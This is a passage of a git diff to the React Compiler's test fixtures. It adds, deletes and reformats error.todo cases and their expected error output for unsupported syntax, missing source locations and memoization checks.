+  34 |   }, [a, b]);
+  35 |
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:34:6
+  32 |   const foo = useCallback(() => {
+  33 |     return a + b;
+> 34 |   }, [a, b]);
+     |       ^
+  35 |
+  36 |   function bar() {
+  37 |     return (c + d) * 2;
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:34:9
+  32 |   const foo = useCallback(() => {
+  33 |     return a + b;
+> 34 |   }, [a, b]);
+     |          ^
+  35 |
+  36 |   function bar() {
+  37 |     return (c + d) * 2;
+
+Todo: Important source location missing in generated code
+
+Source location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:40:2
+  38 |   }
+  39 |
+> 40 |   console.log('Hello, world!');
+     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+  41 |
+  42 |   return [y, foo, bar];
+  43 | }
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:40:10
+  38 |   }
+  39 |
+> 40 |   console.log('Hello, world!');
+     |           ^^^
+  41 |
+  42 |   return [y, foo, bar];
+  43 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-missing-source-locations.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-missing-source-locations.js
new file mode 100644
index 000000000000..70d376d81c6e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-missing-source-locations.js
@@ -0,0 +1,43 @@
+// @validateSourceLocations
+import {useEffect, useCallback} from 'react';
+
+function Component({prop1, prop2}) {
+  const x = prop1 + prop2;
+  const y = x * 2;
+  const arr = [x, y];
+  const obj = {x, y};
+  let destA, destB;
+  if (y > 5) {
+    [destA, destB] = arr;
+  }
+
+  const [a, b] = arr;
+  const {x: c, y: d} = obj;
+  let sound;
+
+  if (y > 10) {
+    sound = 'woof';
+  } else {
+    sound = 'meow';
+  }
+
+  useEffect(() => {
+    if (a > 10) {
+      console.log(a);
+      console.log(sound);
+      console.log(destA, destB);
+    }
+  }, [a, sound, destA, destB]);
+
+  const foo = useCallback(() => {
+    return a + b;
+  }, [a, b]);
+
+  function bar() {
+    return (c + d) * 2;
+  }
+
+  console.log('Hello, world!');
+
+  return [y, foo, bar];
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.expect.md
index a14dd18d1030..e6968dcf13ff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.expect.md
@@ -2,11 +2,12 @@
 ## Input
 
 ```javascript
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
-function Component(props) {
+const other = [0, 1];
+function Component({}) {
   const items = makeArray(0, 1, 2, null, 4, false, 6);
-  const max = Math.max(...items.filter(Boolean));
+  const max = Math.max(2, items.push(5), ...other);
   return max;
 }
 
@@ -21,13 +22,18 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-  3 | function Component(props) {
-  4 |   const items = makeArray(0, 1, 2, null, 4, false, 6);
-> 5 |   const max = Math.max(...items.filter(Boolean));
-    |               ^^^^^^^^ Invariant: [Codegen] Internal error: MethodCall::property must be an unpromoted + unmemoized MemberExpression. Got a `Identifier` (5:5)
-  6 |   return max;
-  7 | }
-  8 |
+Found 1 error:
+
+Invariant: [Codegen] Internal error: MethodCall::property must be an unpromoted + unmemoized MemberExpression
+
+error.todo-nested-method-calls-lower-property-load-into-temporary.ts:6:14
+  4 | function Component({}) {
+  5 |   const items = makeArray(0, 1, 2, null, 4, false, 6);
+> 6 |   const max = Math.max(2, items.push(5), ...other);
+    |               ^^^^^^^^ Got: 'Identifier'
+  7 |   return max;
+  8 | }
+  9 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.js
index 153412b0fd7a..b2883c330383 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-nested-method-calls-lower-property-load-into-temporary.js
@@ -1,8 +1,9 @@
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
-function Component(props) {
+const other = [0, 1];
+function Component({}) {
   const items = makeArray(0, 1, 2, null, 4, false, 6);
-  const max = Math.max(...items.filter(Boolean));
+  const max = Math.max(2, items.push(5), ...other);
   return max;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.expect.md
index 2db98c696295..31dd7c0991fa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function foo() {
   const nt = new.target;
@@ -15,10 +15,15 @@ function foo() {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: (BuildHIR::lowerExpression) Handle MetaProperty expressions other than import.meta
+
+error.todo-new-target-meta-property.ts:4:13
   2 |
   3 | function foo() {
 > 4 |   const nt = new.target;
-    |              ^^^^^^^^^^ Todo: (BuildHIR::lowerExpression) Handle MetaProperty expressions other than import.meta (4:4)
+    |              ^^^^^^^^^^ (BuildHIR::lowerExpression) Handle MetaProperty expressions other than import.meta
   5 |   return <Stringify value={nt} />;
   6 | }
   7 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.js
index 907a58ebf974..4c8fb87151dd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-new-target-meta-property.js
@@ -1,4 +1,4 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function foo() {
   const nt = new.target;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr.expect.md
deleted file mode 100644
index a81c5b253080..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr.expect.md
+++ /dev/null
@@ -1,36 +0,0 @@
-
-## Input
-
-```javascript
-import { identity, mutate, mutateAndReturn } from "shared-runtime";
-
-function Component(props) {
-  const key = {};
-  const context = {
-    [(mutate(key), key)]: identity([props.value]),
-  };
-  mutate(key);
-  return context;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-};
-
-```
-
-
-## Error
-
-```
-  4 |   const key = {};
-  5 |   const context = {
-> 6 |     [(mutate(key), key)]: identity([props.value]),
-    |       ^^^^^^^^^^^^^^^^ Todo: (BuildHIR::lowerExpression) Expected Identifier, got SequenceExpression key in ObjectExpression (6:6)
-  7 |   };
-  8 |   mutate(key);
-  9 |   return context;
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr.js
deleted file mode 100644
index 615820936f2e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import { identity, mutate, mutateAndReturn } from "shared-runtime";
-
-function Component(props) {
-  const key = {};
-  const context = {
-    [(mutate(key), key)]: identity([props.value]),
-  };
-  mutate(key);
-  return context;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction.expect.md
deleted file mode 100644
index d2017c6ccf8e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction.expect.md
+++ /dev/null
@@ -1,36 +0,0 @@
-
-## Input
-
-```javascript
-import { identity, mutate, mutateAndReturn } from "shared-runtime";
-
-function Component(props) {
-  const key = {};
-  const context = {
-    [mutateAndReturn(key)]: identity([props.value]),
-  };
-  mutate(key);
-  return context;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-};
-
-```
-
-
-## Error
-
-```
-  4 |   const key = {};
-  5 |   const context = {
-> 6 |     [mutateAndReturn(key)]: identity([props.value]),
-    |      ^^^^^^^^^^^^^^^^^^^^ Todo: (BuildHIR::lowerExpression) Expected Identifier, got CallExpression key in ObjectExpression (6:6)
-  7 |   };
-  8 |   mutate(key);
-  9 |   return context;
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction.js
deleted file mode 100644
index e38d19a51d51..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-modified-during-after-construction.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import { identity, mutate, mutateAndReturn } from "shared-runtime";
-
-function Component(props) {
-  const key = {};
-  const context = {
-    [mutateAndReturn(key)]: identity([props.value]),
-  };
-  mutate(key);
-  return context;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-mutate-key-while-constructing-object.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-mutate-key-while-constructing-object.expect.md
deleted file mode 100644
index 1ea4b26eeea0..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-mutate-key-while-constructing-object.expect.md
+++ /dev/null
@@ -1,35 +0,0 @@
-
-## Input
-
-```javascript
-import { identity, mutate, mutateAndReturn } from "shared-runtime";
-
-function Component(props) {
-  const key = {};
-  const context = {
-    [mutateAndReturn(key)]: identity([props.value]),
-  };
-  return context;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-};
-
-```
-
-
-## Error
-
-```
-  4 |   const key = {};
-  5 |   const context = {
-> 6 |     [mutateAndReturn(key)]: identity([props.value]),
-    |      ^^^^^^^^^^^^^^^^^^^^ Todo: (BuildHIR::lowerExpression) Expected Identifier, got CallExpression key in ObjectExpression (6:6)
-  7 |   };
-  8 |   return context;
-  9 | }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-mutate-key-while-constructing-object.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-mutate-key-while-constructing-object.js
deleted file mode 100644
index cc480a294a91..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-computed-key-mutate-key-while-constructing-object.js
+++ /dev/null
@@ -1,14 +0,0 @@
-import { identity, mutate, mutateAndReturn } from "shared-runtime";
-
-function Component(props) {
-  const key = {};
-  const context = {
-    [mutateAndReturn(key)]: identity([props.value]),
-  };
-  return context;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.expect.md
index d713d07fd24d..98d29e908c7c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Component({ value }) {
+function Component({value}) {
   const object = {
     get value() {
       return value;
@@ -13,8 +13,8 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ value: 0 }],
-  sequentialRenders: [{ value: 1 }, { value: 2 }],
+  params: [{value: 0}],
+  sequentialRenders: [{value: 1}, {value: 2}],
 };
 
 ```
@@ -23,14 +23,19 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-  1 | function Component({ value }) {
+Found 1 error:
+
+Todo: (BuildHIR::lowerExpression) Handle get functions in ObjectExpression
+
+error.todo-object-expression-get-syntax.ts:3:4
+  1 | function Component({value}) {
   2 |   const object = {
 > 3 |     get value() {
     |     ^^^^^^^^^^^^^
 > 4 |       return value;
     | ^^^^^^^^^^^^^^^^^^^
 > 5 |     },
-    | ^^^^^^ Todo: (BuildHIR::lowerExpression) Handle get functions in ObjectExpression (3:5)
+    | ^^^^^^ (BuildHIR::lowerExpression) Handle get functions in ObjectExpression
   6 |   };
   7 |   return <div>{object.value}</div>;
   8 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.js
index e96134edf1b9..54cfde97f458 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-get-syntax.js
@@ -1,4 +1,4 @@
-function Component({ value }) {
+function Component({value}) {
   const object = {
     get value() {
       return value;
@@ -9,6 +9,6 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ value: 0 }],
-  sequentialRenders: [{ value: 1 }, { value: 2 }],
+  params: [{value: 0}],
+  sequentialRenders: [{value: 1}, {value: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.expect.md
index 1d917b4d3ac2..94f0dfbaab15 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.expect.md
@@ -15,8 +15,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ value: 0 }],
-  sequentialRenders: [{ value: 1 }, { value: 2 }],
+  params: [{value: 0}],
+  sequentialRenders: [{value: 1}, {value: 2}],
 };
 
 ```
@@ -25,6 +25,11 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: (BuildHIR::lowerExpression) Handle set functions in ObjectExpression
+
+error.todo-object-expression-set-syntax.ts:4:4
   2 |   let value;
   3 |   const object = {
 > 4 |     set value(v) {
@@ -32,7 +37,7 @@ export const FIXTURE_ENTRYPOINT = {
 > 5 |       value = v;
     | ^^^^^^^^^^^^^^^^
 > 6 |     },
-    | ^^^^^^ Todo: (BuildHIR::lowerExpression) Handle set functions in ObjectExpression (4:6)
+    | ^^^^^^ (BuildHIR::lowerExpression) Handle set functions in ObjectExpression
   7 |   };
   8 |   object.value = props.value;
   9 |   return <div>{value}</div>;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.js
index 5030bea6fc6a..8b6f8214b651 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-object-expression-set-syntax.js
@@ -11,6 +11,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ value: 0 }],
-  sequentialRenders: [{ value: 1 }, { value: 2 }],
+  params: [{value: 0}],
+  sequentialRenders: [{value: 1}, {value: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-logical-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-logical-expr.expect.md
deleted file mode 100644
index b8305ff080b2..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-logical-expr.expect.md
+++ /dev/null
@@ -1,32 +0,0 @@
-
-## Input
-
-```javascript
-import { useNoAlias } from "shared-runtime";
-
-function useFoo(props: { value: { x: string; y: string } | null }) {
-  const value = props.value;
-  return useNoAlias(value?.x, value?.y) ?? {};
-}
-
-export const FIXTURE_ENTRYPONT = {
-  fn: useFoo,
-  props: [{ value: null }],
-};
-
-```
-
-
-## Error
-
-```
-  3 | function useFoo(props: { value: { x: string; y: string } | null }) {
-  4 |   const value = props.value;
-> 5 |   return useNoAlias(value?.x, value?.y) ?? {};
-    |                               ^^^^^^^^ Todo: Unexpected terminal kind `optional` for logical test block (5:5)
-  6 | }
-  7 |
-  8 | export const FIXTURE_ENTRYPONT = {
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-logical-expr.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-logical-expr.ts
deleted file mode 100644
index 8eec8977e999..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-logical-expr.ts
+++ /dev/null
@@ -1,11 +0,0 @@
-import { useNoAlias } from "shared-runtime";
-
-function useFoo(props: { value: { x: string; y: string } | null }) {
-  const value = props.value;
-  return useNoAlias(value?.x, value?.y) ?? {};
-}
-
-export const FIXTURE_ENTRYPONT = {
-  fn: useFoo,
-  props: [{ value: null }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-optional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-optional.expect.md
deleted file mode 100644
index 4ec85cc63240..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-optional.expect.md
+++ /dev/null
@@ -1,34 +0,0 @@
-
-## Input
-
-```javascript
-function useFoo(props: { value: { x: string; y: string } | null }) {
-  const value = props.value;
-  return createArray(value?.x, value?.y)?.join(", ");
-}
-
-function createArray<T>(...args: Array<T>): Array<T> {
-  return args;
-}
-
-export const FIXTURE_ENTRYPONT = {
-  fn: useFoo,
-  props: [{ value: null }],
-};
-
-```
-
-
-## Error
-
-```
-  1 | function useFoo(props: { value: { x: string; y: string } | null }) {
-  2 |   const value = props.value;
-> 3 |   return createArray(value?.x, value?.y)?.join(", ");
-    |                                ^^^^^^^^ Todo: Unexpected terminal kind `optional` for optional test block (3:3)
-  4 | }
-  5 |
-  6 | function createArray<T>(...args: Array<T>): Array<T> {
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-optional.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-optional.ts
deleted file mode 100644
index f9eb264be0a6..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-optional.ts
+++ /dev/null
@@ -1,13 +0,0 @@
-function useFoo(props: { value: { x: string; y: string } | null }) {
-  const value = props.value;
-  return createArray(value?.x, value?.y)?.join(", ");
-}
-
-function createArray<T>(...args: Array<T>): Array<T> {
-  return args;
-}
-
-export const FIXTURE_ENTRYPONT = {
-  fn: useFoo,
-  props: [{ value: null }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-ternary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-ternary.expect.md
deleted file mode 100644
index 9fa87353b20f..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-ternary.expect.md
+++ /dev/null
@@ -1,32 +0,0 @@
-
-## Input
-
-```javascript
-import { useNoAlias } from "shared-runtime";
-
-function useFoo(props: { value: { x: string; y: string } | null }) {
-  const value = props.value;
-  return useNoAlias(value?.x, value?.y) ? {} : null;
-}
-
-export const FIXTURE_ENTRYPONT = {
-  fn: useFoo,
-  props: [{ value: null }],
-};
-
-```
-
-
-## Error
-
-```
-  3 | function useFoo(props: { value: { x: string; y: string } | null }) {
-  4 |   const value = props.value;
-> 5 |   return useNoAlias(value?.x, value?.y) ? {} : null;
-    |                               ^^^^^^^^ Todo: Unexpected terminal kind `optional` for ternary test block (5:5)
-  6 | }
-  7 |
-  8 | export const FIXTURE_ENTRYPONT = {
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-ternary.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-ternary.ts
deleted file mode 100644
index 6b828c64f53b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-optional-call-chain-in-ternary.ts
+++ /dev/null
@@ -1,11 +0,0 @@
-import { useNoAlias } from "shared-runtime";
-
-function useFoo(props: { value: { x: string; y: string } | null }) {
-  const value = props.value;
-  return useNoAlias(value?.x, value?.y) ? {} : null;
-}
-
-export const FIXTURE_ENTRYPONT = {
-  fn: useFoo,
-  props: [{ value: null }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.expect.md
new file mode 100644
index 000000000000..10af9368c594
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.expect.md
@@ -0,0 +1,78 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({x}) {
+  const object = useMemo(() => {
+    return identity({
+      callback: () => {
+        // This is a bug in our dependency inference: we stop capturing dependencies
+        // after x.a.b?.c. But what this dependency is telling us is that if `x.a.b`
+        // was non-nullish, then we can access `.c.d?.e`. Thus we should take the
+        // full property chain, exactly as-is with optionals/non-optionals, as a
+        // dependency
+        return identity(x.a.b?.c.d?.e);
+      },
+    });
+  }, [x.a.b?.c.d?.e]);
+  const result = useMemo(() => {
+    return [object.callback()];
+  }, [object]);
+  return <Inner x={x} result={result} />;
+}
+
+function Inner({x, result}) {
+  'use no memo';
+  return <ValidateMemoization inputs={[x.y.z]} output={result} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: {y: {z: 42}}}],
+  sequentialRenders: [
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+  ],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `x.a.b?.c`, but the source dependencies were [x.a.b?.c.d?.e]. Inferred less specific property than source.
+
+error.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.ts:7:25
+   5 |
+   6 | function Component({x}) {
+>  7 |   const object = useMemo(() => {
+     |                          ^^^^^^^
+>  8 |     return identity({
+     | ^^^^^^^^^^^^^^^^^^^^^
+>  9 |       callback: () => {
+     …
+     | ^^^^^^^^^^^^^^^^^^^^^
+> 17 |     });
+     | ^^^^^^^^^^^^^^^^^^^^^
+> 18 |   }, [x.a.b?.c.d?.e]);
+     | ^^^^ Could not preserve existing manual memoization
+  19 |   const result = useMemo(() => {
+  20 |     return [object.callback()];
+  21 |   }, [object]);
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.js
new file mode 100644
index 000000000000..ec7c5811d69a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-preserve-memo-deps-mixed-optional-nonoptional-property-chain.js
@@ -0,0 +1,41 @@
+// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({x}) {
+  const object = useMemo(() => {
+    return identity({
+      callback: () => {
+        // This is a bug in our dependency inference: we stop capturing dependencies
+        // after x.a.b?.c. But what this dependency is telling us is that if `x.a.b`
+        // was non-nullish, then we can access `.c.d?.e`. Thus we should take the
+        // full property chain, exactly as-is with optionals/non-optionals, as a
+        // dependency
+        return identity(x.a.b?.c.d?.e);
+      },
+    });
+  }, [x.a.b?.c.d?.e]);
+  const result = useMemo(() => {
+    return [object.callback()];
+  }, [object]);
+  return <Inner x={x} result={result} />;
+}
+
+function Inner({x, result}) {
+  'use no memo';
+  return <ValidateMemoization inputs={[x.y.z]} output={result} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: {y: {z: 42}}}],
+  sequentialRenders: [
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-if.expect.md
deleted file mode 100644
index df0192db2a00..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-reactive-scope-overlaps-if.expect.md
+++ /dev/null
@@ -1,41 +0,0 @@
-
-## Input
-
-```javascript
-function useFoo({ cond }) {
-  let items: any = {};
-  b0: {
-    if (cond) {
-      // Mutable range of `items` begins here, but its reactive scope block
-      // should be aligned to above the if-branch
-      items = [];
-    } else {
-      break b0;
-    }
-    items.push(2);
-  }
-  return items;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ cond: true }],
-  sequentialRenders: [
